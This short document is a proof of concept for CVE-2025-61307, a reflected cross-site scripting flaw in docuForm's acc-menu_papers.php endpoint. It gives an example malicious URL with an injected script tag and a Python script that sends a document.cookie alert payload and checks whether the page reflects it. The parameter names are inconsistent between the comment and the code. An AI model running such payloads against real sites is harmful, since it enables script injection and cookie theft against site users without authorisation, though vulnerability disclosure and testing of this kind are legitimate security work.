CVE-2025-61307: docuForm反射型XSS漏洞

// PoC for CVE-2025-61307 // The vulnerable endpoint is acc-menu_papers.php // This demonstrates the injection of a script tag via a GET parameter. // Malicious URL Example: // http://target.com/acc-menu_papers.php?variable_name=<script>alert('XSS')</script> // Python script to test the vulnerability: import requests target_url = "http://target.com/acc-menu_papers.php" payload = "<script>alert(document.cookie)</script>" params = { "vulnerable_param": payload } try: response = requests.get(target_url, params=params) if payload in response.text: print("[+] Vulnerability confirmed: Payload reflected in response.") else: print("[-] Payload not reflected or filtered.") except Exception as e: print(f"Error: {e}")